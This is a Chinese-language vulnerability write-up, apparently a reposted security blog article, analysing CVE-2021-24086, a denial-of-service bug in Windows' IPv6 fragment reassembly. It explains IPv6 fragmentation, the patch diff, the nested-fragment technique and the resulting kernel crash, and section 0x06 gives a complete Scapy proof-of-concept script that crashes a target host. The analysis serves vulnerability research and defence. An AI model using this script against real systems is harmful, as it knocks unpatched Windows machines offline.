标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2872] 作者: 浩丶轩 发表于: [2021-04-23]
本文共 [313] 位读者顶过
本文我们分析了一个拒绝服务漏洞,该漏洞会影响Windows的IPv6堆栈。此问题的根本原因可在对IPv6 数据包的分片漏洞引起的,此问题已由Microsoft在其2021年2月的安全公告中修复。 2021年2月9日,Microsoft发布了一个安全补丁程序,修复了一个拒绝服务漏洞,编号为CVE-2021-24086,该漏洞影响每个Windows版本的IPv6堆栈,此问题是由于IPv6分片处理不当引起的。 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086 这篇文章讨论了该漏洞并提供了PoC。 0x01 IPv6 分片概述
[出自:jiwo.org] 在本节中,我们简要讨论IPv6上是如何分片的。为了发送很大的数据包以使其无法容纳到到达其目的地的路径的最大传输单元(MTU)中,IPv6源节点可以将该数据包划分为多个分片,并将每个分片作为单独的数据包发送,以在目的地址的以下位置进行重组。 分片化是IPv6的核心函数,是通过扩展头(分片头,由协议号44标识)实现的。Fragment头具有以下格式:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next Header | Reserved | Fragment Offset |Res|M| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 当将大数据包拆分以将其发送为多个分片时,原始的大数据包分为不可分片和可分片部分。 · 所述不可分片部分由必须由发送者和接收者之间的中间节点被处理的原始数据包的那些部分的。其中包括IPv6标头,以及节点在路由到目的地时需要处理的所有扩展标头(例如,逐跳选项标头,中间目标的目标选项标头和路由标头)。 · 可分片部分由原始数据包中仅在最终目标节点处必须处理的那些部分组成。这包括未包含在数据包的不可分片部分中的所有其他扩展标头(例如,最终目标的“目标选项”标头),上层标头(例如,ICMPv6,TCP,UDP)和上层有效负载。 让我们看一个实际的例子,如何对IPv6数据包进行分片。我们的示例数据包由一个IPv6标头,一个逐跳选项标头,一个ICMPv6标头及其有效载荷组成。 · 所述不可分片部分由IPv6报头加上必须节点。 · 可分片的部分由上层报头(在这种情况下为ICMPv6)加上ICMPv6有效负载组成。 原始数据包部分被划分成适合的路径,分组的目的地的MTU内的分片。然后,分片将在单独的“分片数据包”中传输,如下所示。每个分片数据包均由不可碎片化的部分,分片头,分片化的分片组成。
当所有分片到达目的地节点时,接收器会从这些分片重新组合原始数据包: · 重新组装的数据包的不可碎片化部分取自第一个碎片数据包(不包括Fragment标头)。 · 重组后的包的一部分从跟随的分片以构建分片中的每个分片的数据包报头。 下图说明了此过程。
0x02 补丁对比
McAfee Labs博客文章指出:“此漏洞的根本原因是在Ipv6pReassembleDatagram中发生的NULL指针取消引用。当重新组装扩展头约为0xffff字节的数据包时,将发生崩溃。应该无法发送具有这么多字节的数据包在根据RFC的扩展头中,“ Ipv6pReceiveFragment”函数在计算“未分片长度”时未考虑这一点。 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/researchers-follow-the-breadcrumbs-the-latest-vulnerabilities-in-windows-network-stack/ tcpip!Ipv6pReassembleDatagram是负责重组接收到的分片数据包的函数。通过比较此函数的补丁程序,我们可以发现实际的修复代码。 函数计算重组包的总大小为IPv6报头+扩展报头的大小的大小不可分片部分+重新组装的大小可分片部分。在补丁程序版本中,在下图的右侧,我们可以识别添加的新的完整性检查:如果扩展头在不可碎片化部分中的大小+重组后可碎片化部分的大小(保存在EDX寄存器中)大于0xffff,则该函数快速退出并删除重组集;否则,将继续进行重组过程。
我们还可以观察到tcpip!Ipv6pReceiveFragment函数的变化,该变化似乎也可以修复此漏洞:在修补版本中,在图像的右侧,如果正在处理的分片属于已被封包的数据包,标识为Jumbogram(表示其大小大于0xffff),然后调用IppSendError;否则,它将继续处理该分片。
此时,漏洞看起来已经很清楚了:我们需要在不可碎片化的部分中制作一个带有大约0xffff字节的扩展头的数据包。但在扩展头的长度不可分片部分只在第一个分片报文,其长度由MTU所限制,所以我们只能把大约1500个字节扩展头中的不可分片部分。那么,怎么可能获得如此庞大的扩展头呢? 0x03 嵌套分片 我们的问题的答案是嵌套分片。
事实证明,你可以将IPv6分片放入IPv6分片中,这将触发递归数据包重组。这并不是什么新鲜事:实际上,我是从研究员Antonios Atlasis在Troopers 2013大会上的一次演讲中获得这个想法的,他一直在滥用分片和扩展头来对IPv6堆栈进行攻击很长时间了。 https://troopers.de/wp-content/uploads/2013/01/TROOPERS13-IPv6_Extension_Headers_New_Features_and_New_Attack_Vectors-Antonios_Atlasis.pdf 重要的是要注意,并不是所有的操作系统都接受嵌套的IPv6分片:Windows可以,但FreeBSD之类的其他操作系统则不能。 以图形方式,我们可以通过组合如下数据包来制作嵌套分片:
在TCPIP!Ipv6pReceiveFragment函数将处理中的每一个Ñ分片(由ID识别0x11111111在这个例子中)。收到最后一个外部分片时,它将调用tcpip!Ipv6pReassembleDatagram重新组装原始数据包。重新组装的数据包将如下所示:
Windows将注意到,重组的部分基本上是需要重建的分片的另一系列,因此将触发递归数据包的重组,以最终获得原始数据包:
0x04 添加扩展头
那么,我们如何利用嵌套的分片,以建立与周围包为0xFFFF中的字节扩展头不可分片部分?事实证明,我们在常规分片数据包上观察到的扩展标头限制在1500个字节左右,这不适用于从嵌套分片重构的数据包。换句话说,我们可以放置任意数量的扩展头,只要它们属于嵌套分片即可。 我们可以构建一个内部数据包,如下所示:
请注意,我们使用0x1ffa Routing 头实现扩展标头的目标长度。一个空的路由首部占8个字节,因此,扩展头中的总大小不可分片部分是0xffd0,足以触发该漏洞。在常规的非嵌套分片下,不可能包含如此大量的路由头,因为只有第一个分片数据包中的扩展头会计数,并且第一个分片数据包受1500字节的MTU限制。但是,在处理嵌套分片时,没有“第一个分片包”之类的东西:由于外部分片的重组,内部有效负载被安排为单个大块字节,因此对扩展头的大小。 上图中的“第一部分”必须分为多个分片发送,因此它本身就是嵌套的分片。另一方面,“第二部分”只是最后一个内部分片,没有必要将其嵌套发送。实际上,在进行测试时,我发现最后一个内部分片必须与第一部分一起嵌套发送,否则不会触发递归重组。 总而言之,触发漏洞所需的嵌套分片如下所示: 0x05 漏洞Crashs分析 当递归调用tcpip!Ipv6pReassembleDatagram来处理我们的嵌套分片时,它将调用NdisGetDataBuffer从包含我们的数据包的NET_BUFFER结构中读取扩展头的长度+ sizeof(IPv6_header)字节。我们扩展头的长度为0xffd0,而IPv6头的固定大小为0x28,因此它尝试读取0xfff8字节。
请注意,该调用中的Storage参数设置为NULL。该NdisGetDataBuffer API文档指出,如果数据NET_BUFFER是不连续的,如果存储参数为NULL,则返回值为NULL。我们正是使用特制长度的扩展头来达到这种情况:NdisGetDataBuffer返回NULL,并且返回的NULL指针(临时保存到size_of_ext_headers_plus_sizeof_IPv6_hdr变量,如上面以红色突出显示的)被取消引用,从而导致BSoD:
这是我们可以在内核调试器中观察到的崩溃信息: DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is usually caused by drivers using improper addresses. If kernel debugger is available get stack backtrace. Arguments: Arg1: 0000000000000000, memory referenced Arg2: 0000000000000002, IRQL Arg3: 0000000000000001, value 0 = read operation, 1 = write operation Arg4: fffff80170b9937b, address which referenced memory
TRAP_FRAME: fffff80171472960 -- (.trap 0xfffff80171472960) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000000000000 rbx=0000000000000000 rcx=ffffce0ae3366080 rdx=0000000000000002 rsi=0000000000000000 rdi=0000000000000000 rip=fffff80170b9937b rsp=fffff80171472af0 rbp=ffffce0ae1cfe500 r8=ffffce0ae353f980 r9=0000000000000001 r10=ffffce0ae4edf040 r11=0000000000000001 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na pe nc tcpip!Ipv6pReassembleDatagram+0x14f: fffff801`70b9937b 0f1100 movups xmmword ptr [rax],xmm0 ds:00000000`00000000=???????????????????????????????? Resetting default scope
STACK_TEXT: fffff801`71472af0 fffff801`70b9a122 : ffffce0a`e1ee7000 00000000`00000000 00000000`00000002 ffffb5e7`00010067 : tcpip!Ipv6pReassembleDatagram+0x14f fffff801`71472b90 fffff801`70b9a242 : ffffce0a`e54399b0 fffff801`70bf0008 ffffce0a`e1be6810 ffffce0a`e355d4a0 : tcpip!Ipv6pReceiveFragment+0x84a fffff801`71472c60 fffff801`70ab5316 : ffffce0a`00000001 ffffce0a`e1ee7000 ffffce0a`e33e42e0 ffffce0a`e1ee7000 : tcpip!Ipv6pReceiveFragmentList+0x42 fffff801`71472c90 fffff801`70a359ff : fffff801`70bf3000 ffffce0a`e1a6b7e0 ffffce0a`e1ee7000 ffffce0a`e544fd00 : tcpip!IppReceiveHeaderBatch+0x7f0b6 fffff801`71472d90 fffff801`70a32d9c : ffffce0a`e32b9380 ffffce0a`e33e4550 00000000`00000001 00000000`00000000 : tcpip!IppFlcReceivePacketsCore+0x32f fffff801`71472eb0 fffff801`70a7efd0 : ffffce0a`e33e4550 00000000`00000000 fffff801`71472f81 00000000`00000000 : tcpip!IpFlcReceivePackets+0xc fffff801`71472ee0 fffff801`70a7e5cc : 00000000`00000001 ffffce0a`e36d4800 fffff801`70a71a50 fffff801`714732bc : tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x270 fffff801`71472fe0 fffff801`6e00d468 : ffffce0a`e1effba0 00000000`00000002 ffffce0a`e5474080 fffff801`714732d8 : tcpip!FlReceiveNetBufferListChainCalloutRoutine+0x17c [...] 0x06 漏洞验证代码
以下Python代码触发该漏洞,使指定的目标计算机崩溃: import sys import random
from scapy.all import *
FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58
def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472
return raw(er)
def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1) routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1 FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def send_last_inner_fragment(target_addr, inner_frag_id):
raw_er = get_layer4()
ip = IPv6(dst = target_addr) # Second (and last) inner fragment header: offset=1, more=0 FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP) send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr) hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = [] for i in range(len(inner_packet) // FRAGMENT_SIZE): fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE: fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...") frag_offset = 0 frags_to_send = [] is_first = True for i in range(len(fragmentable_part)): if i == len(fragmentable_part) - 1: more = 0 else: more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i]) frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send))) for frag in frags_to_send: send(frag)
print("Now sending the last inner fragment to trigger the bug...") send_last_inner_fragment(target_addr, inner_frag_id)
if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) 0x07 分析总结
此漏洞的根本原因是,当尝试重新组合嵌套的分片时,Windows会计算内部有效负载中包含的所有扩展标头。相反,在处理常规分片时,仅对第一个分片数据包中包含的扩展头进行计数;但是,当尝试递归重组嵌套分片时,没有“第一分片包”之类的东西,内部有效载荷只是单个大块字节,这是外部分片的重新组装的结果。 可以说,没有理由支持嵌套分片。与IPv4对应节点不同,在IPv6中间节点上不能对数据包进行分片,只有发送者才能做到这一点,并且合法的IPv6节点没有理由在分片内发送分片。因此,从长远来看,取消对嵌套分片的支持(就像某些其他操作系统已经支持的那样)可能是一个更好的解决方案,因为支持很少使用甚至根本没有用的这种复杂函数可能会为进一步的漏洞利用敞开大门。 关于漏洞的影响,它仅限于在目标计算机上造成BSoD,从而导致拒绝服务状况。但是,由于它会影响所有Windows版本下的所有Windows IPv6部署,因此导致服务中断的可能性很高。同样重要的是要注意,如Microsoft所述,从Internet无法访问仅配置了本地链接IPv6地址的Windows系统,在这种情况下,攻击只能来自本地网络。
|